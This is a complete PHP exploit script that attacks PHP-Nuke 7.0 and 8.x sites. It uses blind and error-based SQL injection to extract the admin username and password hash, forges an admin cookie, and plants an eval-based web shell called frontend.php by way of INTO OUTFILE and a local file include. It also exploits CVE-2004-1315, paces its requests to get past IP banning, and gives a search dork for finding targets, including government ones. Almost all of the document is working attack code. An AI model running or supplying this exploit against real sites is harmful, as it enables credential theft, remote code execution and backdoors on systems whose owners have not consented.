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================================================================
PHP-Nuke 7.0/8.1/8.1.35 Wormable Remote Code Execution Affecting
================================================================
#!/usr/bin/php
<?php
/*******************************************************************************
Wormable Remote Code Execution in PHP-Nuke 7.0/8.1/8.1.35(newist as of release)
Vendor's Website:http://phpnuke.org/
Secuirty Researcher: Michael Brooks (https://sitewat.ch)
Google hack:
"Francisco Burzi" "Page Generation:" Seconds inurl:modules.php
1,170,000 results
add inurl:gov to the google hack if you want to make the news ;)
Works with maigic_quotes_gpc=On or Off
Works with AppArmor and Suhosin Hadend-PHP, tested on Ubuntu 9.04 and 10.04
My own LFI+SQLI attack is used to bypass AppArmor!
Also tested XAMPP on Windows XP
All tests where done with MySQL5 and PHP5
To obtain a user's cookie:
1) Register a normal account
2) Login
3) Type this into the same address bar and hit enter: javascript:document.cookie
To set a cookie you can do use this: javascript:document.cookie="admin=MjphZG1pbjoyMTIzMmYyOTdhNTdhNWE3NDM4OTRhMGU0YTgwMWZjMzoxMDo6MDowOjA6MDpEZWVwQmx1ZTo0MDk2"
*******************************************************************************/
set_time_limit(0);
//The blind_sql_injeciton calss is a general exploit framework that we are inheriting.
class php_nuke_blind_sql_injection extends blind_sql_injection {
//This is the blind sql injection request.
function query($check){
//Rate limiter to bypass ipban.php's protection.
//Must stay below 5 requests every 2 seconds.
if(!($this->request_count%4)){
sleep(2);
}
//build the http request to Inject a query:
//This is a simple get request with a custom referer
//$this->set_referer("'="/\*" (select ".$check." from nuke_authors limit 1))-- */");
$this->set_referer("'=(select ".$check." from nuke_authors limit 1))-- 1");
/*example get and post request.
*$this->set_get("id=1 or (select ".$check." from nuke_authors limit 1))";//$_GET[id]
*$this->set_post("id=1 or (select ".$check." from nuke_authors limit 1))");//$_POST[id]
*/
}
}
//This is a very efficient blind sql injection class.
class blind_sql_injection{
var $url, $backup_url, $result, $http, $request_count, $timeout;
function blind_sql_injection($url,$timeout=10){
$this->request_count=0;
$this->url=$url;
$this->backup_url=$url;
$this->http=new http_client();
$this->timeout=$timeout;
}
function set_get($get){
$this->url=$this->url."?".$get;
}
function set_referer($referer){
$this->http->referer=$referer;
}
function set_post($post){
$this->http->postdata=$post;
}
function test_target(){
return $this->send("if(true,sleep(".$this->timeout."),0)")&&!$this->send("if(false,sleep(".$this->timeout."),0)");
}
function num_to_hex($arr){
$ret='';
foreach($arr as $a){
if($a<=9){
$ret.=$a;
}else{
$ret.=chr(87+$a);
}
}
return $ret;
}
//Looking for a string of length 32 and base 16 in ascii chars.
function find_md5($column){
return $this->num_to_hex($this->bin_finder(16,32,"conv(substring($column,%s,1),16,10)"));
}
function find_sha1($column){
return $this->num_to_hex($this->bin_finder(16,40,"conv(substring($column,%s,1),16,10)"));
}
//Look for an ascii string of arbitrary length.
function find_string($column){
$ret='';
//A length of zero means we are looking for a null byte terminated string.
$result=$this->bin_finder(128,0,"ascii(substring($column,%s,1))");
foreach($result as $r){
$ret.=chr($r);
}
return $ret;
}
//query() is a method that generates the sql injection request
function query($check){
//This function must be overridden.
}
function recheck($result,$question,$base){
$this->bin_finder($base,1,$question,$start);
//Force a long timeout.
$tmp_timeout=$this->timeout;
if($this->timeout<10){
$this->timeout=10;
}else{
$this->timeout=$this->timeout*2;
}
$l=1;
foreach($result as $r){
if($this->send("if(".sprintf($question,$l)."!=".$r.",sleep(".$this->timeout."),0)")){
$result[]=$b;
break;
}
$l++;
}
$this->timeout=$tmp_timeout;
}
function linear_finder($base,$length,$question){
for($l=1;$l<=$length;$l++){
for($b=0;$b<$base;$b++){
if($this->send("if(".sprintf($question,$l)."=".$b.",sleep(".$this->timeout."),0)")){
$result[]=$b;
break;
}
}
}
}
#Binary search for mysql based sql injection.
function bin_finder($base,$length,$question){
$start_pos=1;
$result='';
for($cur=$start_pos;$cur<=$length||$length==0;$cur++){
$n=$base-1;
$low=0;
$floor=$low;
$high=$n-1;
$pos= $low+(($high-$low)/2);
$found=false;
while($low<=$high&&!$found){
#asking the sql database if the current value is greater than $pos
if($this->send("if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){
#if this is true then the value must be the modulus.
if($pos==$n-1){
$result[]=$pos+1;
$found=true;
}else{
$low=$pos+1;
}
#asking the sql database if the current value is less than $pos
}else if($this->send("if(least(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){
#if this is true the value must be zero, or in the case of ascii, a null byte.
if($pos==$floor+1){
$found=true;
#We have found the null terminator so we have finnished our search for a string.
if($length==0){
$length=-1;
}else{
$result[]=$pos-1;
}
}else{
$high=$pos-1;
}
}else{
#both greater than and less then where asked, so so then the answer is our guess $pos.
$result[]=$pos;
$found=true;
}
$pos=$low+(($high-$low)/2);
}
print(".");
}
return $result;
}
//Fire off the request
function send($quesiton){
//build the injected query.
$this->query($quesiton);
$start=time();
$resp=$this->http->send($this->url);
//backup_url is for set_get()
$this->url=$this->backup_url;
$this->request_count++;
return (time()-$start>=$this->timeout);
}
//retroGod RIP
function charEncode($string){
$char="char(";
$size=strlen($string);
for($x=0;$x<$size;$x++){
$char.=ord($string[$x]).",";
}
$char[strlen($char)-1]=")%00";
return $char;
}
}
//General purpose http client that works on a default php install.
class http_client{
var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='', $referer='',$cookie='',$postdata='';
function send($loc){
//overload function polymorphism between gets and posts
$url=parse_url($loc);
if(!isset($url['port'])){
$url['port']=80;
}
$ua='Firefox';
if($this->proxy_ip!=''&&$this->proxy_port!=''){
$fp = pfsockopen( $this->proxy_ip, $this->proxy_port, &$errno, &$errstr, 120 );
$url['path']=$url['host'].':'.$url['port'].$url['path'];
}else{
$fp = fsockopen( $url['host'], $url['port'], &$errno, &$errstr, 120 );
}
if( !$fp ) {
print "$errstr ($errno)<br>\nn";
return false;
} else {
if( $this->postdata=='' ) {
$request="GET ".$url['path']."?".$url['query']." HTTP/1.1\r\n";
} else {
$request="POST ".$url['path']."?".$url['query']." HTTP/1.1\r\n";
}
if($this->proxy_name!=''&&$this->proxy_pass!=''){
$request.="Proxy-Authorization: Basic ".base64_encode($this->proxy_name.":".$this->proxy_pass)."\r\n\r\n";
}
$request.="Host: ".$url['host'].":".$url['port']."\r\n";
$request.="User-Agent: ".$ua."\r\n";
$request.="Accept: text/plain\r\n";
if($this->referer!=''){
$request.="Referer: ".$this->referer."\r\n";
}
$request.="Connection: Close\r\n";
if($this->cookie!=''){
$request.="Cookie: ".$this->cookie."\r\n" ;
}
if( $this->postdata!='' ) {
$strlength = strlen( $this->postdata );
$request.="Content-type: application/x-www-form-urlencoded\r\n" ;
$request.="Content-length: ".$strlength."\r\n\r\n";
$request.=$this->postdata;
}
fputs( $fp, $request."\r\n\r\n" );
while( !feof( $fp ) ) {
$output .= fgets( $fp, 1024 );
}
fclose( $fp );
//php_nuke only:
if(strstr($output,"too many page loads")){
print "REQUEST CAP HIT!\n";
print_r(debug_backtrace());
print "REQUEST CAP HIT!\n";
die();
}
return $output;
}
}
//Use a http proxy
function proxy($proxy){ //user:pass@ip:port
$proxyAuth=explode('@',$proxy);
if(isset($proxyAuth[1])){
$login=explode(':',$proxyAuth[0]);
$this->proxy_name=$login[0];
$this->proxy_pass=$login[1];
$addr=explode(':',$proxyAuth[1]);
}else{
$addr=explode(':',$proxy);
}
$this->proxy_ip=$addr[0];
$this->proxy_port=$addr[1];
}
//Parses the results from a PHP error to use as a path disclosure.
function getPath($url,$pops=1){
$html=$this->send($url);
//Regular error reporting:
$resp=explode("array given in <b>",$html);
if(isset($resp[1])){
$resp = explode("</b>",$resp[1]);
}else{
//xdebug's error reporting:
$resp=explode("array given in ",$html);
if(isset($resp[1])){
$resp = explode(" ",$resp[1]);
}else{
$resp[0]=false;
}
}
$path=$resp[0];
//Can't use dirname()
if(strstr($path,"\\")){
$p=explode("\\",$path);
for($x=0;$x<$pops;$x++){
array_pop($p);
}
$path=implode("\\",$p);
}else{
$p=explode("/",$path);
for($x=0;$x<$pops;$x++){
array_pop($p);
}
$path=implode("/",$p);
}
return $path;
}
//Grab the server type from the http header.
function getServer($url){
$resp=$this->send($url);
$header=explode("Server: ",$resp);
$server=explode("\n",$header[1]);
return $server[0];
}
}
function main(){
$user_input=getopt("t:c:a:");
if($user_input['t']){
$attack_url=$user_input['t'];
if($user_input['c']){
$user_cookie=$user_input['c'];
}
//This is only useful for debugging, so its not listed in the useage.
if($user_input['a']){
$admin_cookie=$user_input['a'];
}
}else{
print("Useage: ./php_exploit -t http://localhost\n");
die("A user's cookie is required for 8.1.35 : ./php_exploit -t http://localhost -c user=MjphZG1pbjo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OToxMDo6MDowOjA6MDo6NDA5Ng==\n");
}
$attack_url=str_replace("index.php","",$attack_url);
$http=new http_client();
$sex=new php_nuke_blind_sql_injection($attack_url."/");
if(!$admin_cookie){
//This is what a cookie looks like:
//2:user_name:21232f297a57a5a743894a0e4a801fc3:10::0:0:0:0:DeepBlue:4096
//$user_cookie="user=MjphZG1pbjoyMTIzMmYyOTdhNTdhNWE3NDM4OTRhMGU0YTgwMWZjMzoxMDo6MDowOjA6MDpEZWVwQmx1ZTo0MDk2";
if($user_cookie){
print "Using cookie...\n";
$http->cookie=$user_cookie;
//1337+30000 is used as a pivot in parsing, and to test for a sucessful injection.
//This is NOT Blind SQL Injection, we will be reading the result. This attack works with magic_quotes_gpc on or off.
$http->postdata="title=wow\\&bodytext=/*&mood=".urlencode("'*/,0,0,1337+30000,(select aid from nuke_authors limit 1),0,(select pwd from nuke_authors limit 1),1337+30000)-- 1")."&status=no&submit=Add+New+Entry";
$response=$http->send($attack_url."/modules.php?name=Journal&file=savenew");
//This part of the exploit is a bit strange sorry for the mess, gotta realease!
if(strstr($response,"javascript:history.go(-1)")){
//magic_quotes_gpc=on
$http->postdata="title=wow&jbodytext=text&mood=".urlencode("',1337+30000,(select aid from nuke_authors limit 1),0,(select pwd from nuke_authors limit 1),1337+30000)-- 1")."&status=no&submit=Add+New+Entry";
$response=$http->send($attack_url."/modules.php?name=Journal&file=savenew");
$http->postdata='';
//Find the primary key of the journal entry we just created.
$jid=$http->send($attack_url."/modules.php?name=Journal&file=edit");
//we should have the single quote that we escaped at the end of wow'
$jid=explode("\">wow<",$jid);
$jid=explode("jid=", $jid[0]);
//Check the journal for the admin's username/password hash
$response=$http->send($attack_url."/modules.php?name=Journal&file=display&jid=".$jid[1]);
if(strpos($response,"31337")){
list($junk,$aid,$pwd)=explode("31337 @ ",$response);
$aid=explode("<",$aid);
$pwd=explode("<",$pwd);
$user_name=$aid[0];
$pass_hash=$pwd[0];
}else{
//magic_quotes_gpc=off
sleep(3);
$http->postdata="title=wow\\&jbodytext=/*&mood=1&status=".urlencode("no',(select aid from nuke_authors limit 1),(select pwd from nuke_authors limit 1))-- 1")."&submit=Add+New+Entry";
$response=$http->send($attack_url."/modules.php?name=Journal&file=savenew");
sleep(2);
$jid=$http->send($attack_url."/modules.php?name=Journal&file=edit");
$jid=explode("\">wow<",$jid);
$jid=explode("jid=", $jid[0]);
$jid=explode("\">",$jid[1]);
//Check the journal for the admin's username/password hash
$response=$http->send($attack_url."/modules.php?name=Journal&file=display&jid=".$jid[0]);
$inj=explode("Last updated on ",$response);
$inj=explode(" @ ",$inj[1]);
$pass_hash=$inj[0];
$inj=explode("<",$inj[1]);
$user_name=$inj[0];
}
}else{
$http->postdata='';
//Find the primary key of the journal entry we just created.
$jid=$http->send($attack_url."/modules.php?name=Journal&file=edit");
//we should have the single quote that we escaped at the end of wow'
$jid=explode("\">wow',<",$jid);
$jid=explode("jid=", $jid[0]);
//Check the journal for the admin's username/password hash
$response=$http->send($attack_url."/modules.php?name=Journal&file=display&jid=".$jid[1]);
if(!strpos($response,"31337")){
die("target has patched!\n");
}else{
print "Target vulnerable to a privilege escalation attack!!!\n";
list($junk,$aid,$pwd)=explode("31337 @ ",$response);
$aid=explode("<",$aid);
$pwd=explode("<",$pwd);
$user_name=$aid[0];
$pass_hash=$pwd[0];
}
}
}else{
$sex->sleep="sleep(5)";
print "Starting Attack Against:".$attack_url."/\n";
print "Testing for blind sql injection...\n";
if(!$sex->test_target()){
print("Target might be running 8.1.35\n");
print("Try the privilege esciation attack to upload the shell:");
die("./php_exploit -t http://localhost -c user=MjphZG1pbjo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OToxMDo6MDowOjA6MDo6NDA5Ng==\n");
}
print "Target is vulnerable to blind sql injection!!!\n";
print "Please Standby For Attack...\n";
$pass_hash=$sex->find_md5("pwd");
$user_name=$sex->find_string("aid");
print "attacked used:".$sex->request_count." requests.\n";
}
print "Found Admin's name:".$user_name."\n";
print "Found MD5 Password hash:".$pass_hash."\n";
$admin_cookie="admin=".base64_encode($user_name.":".$pass_hash.":").";";
}
print "Using Admin Session ID:\n".$admin_cookie."\n";
$http->cookie=$admin_cookie;
//ipban.php
sleep(3);
//This request will tell us what version of php-nuke it is.
//If it is 8, Then the page gives us configuration information to perserve.
$admin_options=$http->send($attack_url."/admin.php?op=general");
if(!strstr($admin_options,"Content-Length: 0")){
print "PHP-Nuke 8 detected.\n";
$option_values=explode("value='",$admin_options);
$x=0;
array_shift($option_values);
//Parsing out and storing configuration values to restore them after the hack.
foreach( $option_values as $value){
$value=explode("'",$value);
$values[]=urlencode($value[0]);
if($x++==4)
break;
}
//ipban.php
sleep(2);
//Enable error reporting
$http->postdata="xsitename=".$values[0]."&xnukeurl=".$values[1]."&xslogan=".$values[2]."&xstartdate=".$values[3]."&xadmingraphic=".$values[4]."&xgfx_chk=0&xnuke_editor=1&xdisplay_errors=1&op=savegeneral";
$error_reporting=$http->send($attack_url."/admin.php");
//Path diclosure in add_pwd. We will trigger a warning by passing md5() the array add_pwd[].
$http->postdata="add_name=junk&add_aid=junk&add_email=junk&add_url=junk&add_admlanguage=&auth_modules%5B%5D=23&add_radminsuper=1&add_pwd[]=junk&op=AddAuthor";
$remote_path=$http->getPath($attack_url."/admin.php",3);
sleep(2);
if(strstr($remote_path,':\\')){
print "Windows box detected.\n";
print "Remote path:$remote_path\n";
print "Uploading backdoor...\n";
$remote_path=addslashes(addslashes($remote_path."\\frontend.php"));
$backdoor='get_magic_quotes_gpc()?eval(stripslashes($_GET["e"])):eval($_GET["e"])';
//Could have used a concat but php-nuke filters for it. This hides <> from the xss filter.
//union/**/ bypasses the sql injection filter on line 414 in ./mainfile.php
$http->postdata="chng_uid=".urlencode("' union/**/ select ".$sex->charEncode("<?php").",'".$backdoor."',".$sex->charEncode("?>").",'','','','','','','','','','','','','','','' into outfile '".$remote_path."'-- 1");
$re=$http->send($attack_url."/admin.php?op=modifyUser");
//Disable error reporting
$http->postdata="xsitename=".$values[0]."&xnukeurl=".$values[1]."&xslogan=".$values[2]."&xstartdate=".$values[3]."&xadmingraphic=".$values[4]."&xgfx_chk=0&xnuke_editor=1&xdisplay_errors=0&op=savegeneral";
$error_reporting=$http->send($attack_url."/admin.php");
}else{
print "*nix box detected.\n";
print "Remote path:$remote_path\n";
//Is mysql on the same machine as the httpd?
sleep(2);
$http->postdata="chng_uid=".urlencode("' or 1=(select if(substring(load_file('".$remote_path."/index.php'),1,1)='<',0,1))-- 1");
$mysql_check=$http->send($attack_url."/admin.php?op=modifyUser");
if(strstr($mysql_check,"User Doesn't Exists!")){
print("MySQL isn't on the same machine or you do not have file privileges.\n");
die("Remote code execution failed\n");
}
print "Uploading backdoor...\n";
//ipban.php
sleep(2);
//Grab the theme, this is needed to repair the database after the LFI
$theme=$http->send($attack_url."/admin.php?op=themes");
$theme=explode('src="themes/',$theme);
$theme=explode('/images/',$theme[1]);
//Repair the database after the LFI.
$backdoor_installer='function OpenTable(){} function themeheader(){} $db->sql_query("update ".$prefix."_config set Default_Theme='.$sex->charEncode($theme[0]).', display_errors=0");';
//This is a magic_quotes_gpc and mysql safe backdoor that fits on one line.
$backdoor='get_magic_quotes_gpc()?eval(stripslashes(".chr(36)."_GET[".chr(34)."e".chr(34)."])):eval(".chr(36)."_GET[".chr(34)."e".chr(34)."])';
//Install the backdoor in a relitive directory.
$backdoor_installer.='file_put_contents($_SERVER["DOCUMENT_ROOT"].dirname($_SERVER["SCRIPT_NAME"])."/frontend.php",chr(60)."?php '.$backdoor.'?".chr(62));';
//charEncode is used to bypass XSS filters.
//union/**/ bypasses the sql injection filter on line 414 in ./mainfile.php
$http->postdata="chng_uid=".urlencode("' union/**/ select ".$sex->charEncode("<?php").",'".$backdoor_installer."',".$sex->charEncode("?>").",'','','','','','','','','','','','','','','' into outfile '/tmp/theme.php'-- 1");
$http->send($attack_url."/admin.php?op=modifyUser");
sleep(2);
//local file include vulnerablity to execute /tmp/theme.php
$http->postdata="xDefault_Theme=../../../../../../../../../../../tmp&xoverwrite_theme=0&op=savethemes";
$http->send($attack_url."/admin.php");
sleep(2);
$http->postdata='';
//Fire off a get request to trigger the uploaded php file using LFI
$http->send($attack_url);
sleep(2);
//Try the LFI again, just in case.
$http->send($attack_url."/admin.php");
}
sleep(2);
//test if the backdoor works, try and clean up after the exploit.
$test_backdoor=$http->send($attack_url."/frontend.php?e=".urlencode("echo 31337;unlink('/tmp/theme.php');system('rm /tmp/theme.php');"));
if(strstr($test_backdoor,"31337")){
print "Remote Code execution tested successfully:\n".$attack_url."/frontend.php?e=phpinfo()".urlencode(';')."\n";
}else{
print "Backdoor install failed!\n";
}
}else{
////PHP-Nuke 7.0 Remote Code Execution Exploit using CVE-2004-1315 which affects the phpBB 2.0.6 module.
print "PHP-Nuke 7 detected.\n";
$http->postdata="";//send get requests.
//Fire off a check for CVE-2004-1315, phpbb maybe installed.
//This is more like the oringal CVE-2004-1315: %2527.printf(20041315).%2527
//php-nuke was not vulnerable to this because of mainfile line 50: \([^>]*"?[^)]*\)
//to byapss this check double urlencode the parren () %2527.printf%252820041315%2529.%2527
$try_exploit=$http->send($attack_url."/modules.php?name=Forums&file=viewtopic&t=1&highlight=%2527.printf%252820041315%2529.%2527");
//if the exploit didn't work, then we might have to enable phpbb and populate it.
if(!strstr($try_exploit,"20041315")){
//Enalbe PHPBB
$http->send($attack_url."/admin.php?op=module_status&mid=22&active=1");
//create a new category for phpbb
$http->postdata="mode=addcat&categoryname=test&addcategory=Create+new+category";
$t=$http->send($attack_url."/modules/Forums/admin/admin_forums.php");
//ipban.php
sleep(2);
//create a new form in the new category
$http->postdata="forumname%5B1%5D=t&addforum%5B1%5D=Create+new+forum&categoryname=test";
$t=$http->send($attack_url."/modules/Forums/admin/admin_forums.php?");
$http->postdata="forumname=t&forumdesc=t&c=1&forumstatus=0&prune_days=7&prune_freq=1&mode=createforum&f=&submit=Create+new+forum";
$http->send($attack_url."/modules/Forums/admin/admin_forums.php?");
//create a new topic in the new form
$http->postdata="username=t&subject=t&addbbcode18=%23444444&addbbcode20=12&helpbox=Insert+URL%3A+%5Burl%5Dhttp%3A%2F%2Furl%5B%2Furl%5D+or+%5Burl%3Dhttp%3A%2F%2Furl%5DURL+text%5B%2Furl%5D++%28alt%2Bw%29&message=test&mode=newtopic&f=1&post=Submit";
$http->send($attack_url."/modules.php?name=Forums&file=posting");
//ipban.php
sleep(2);
//access the first topic.
$http->postdata="";
//Check to see if any of the first 10 topics are exploitable.
for($t=1;$t<10&&!strstr($try_exploit,"20041315");$t++){
//Fire off a check for CVE-2004-1315.
$try_exploit=$http->send($attack_url."/modules.php?name=Forums&file=viewtopic&t=".$t."&highlight=%2527.printf%252820041315%2529.%2527");
}
}
//Check if we where able to hit CVE-2004-1315.
if(strstr($try_exploit,"20041315")){
print("Remote Code execution tested successfully:\n".$attack_url."/modules.php?name=Forums&file=viewtopic&t=".--$t."&highlight=%2527.phpinfo%2528%2529.%2527\nThis is a Doulbe urlencode()\n");
}else{
print("Remote code execution has failed!\n");
}
}
}
main();
?>
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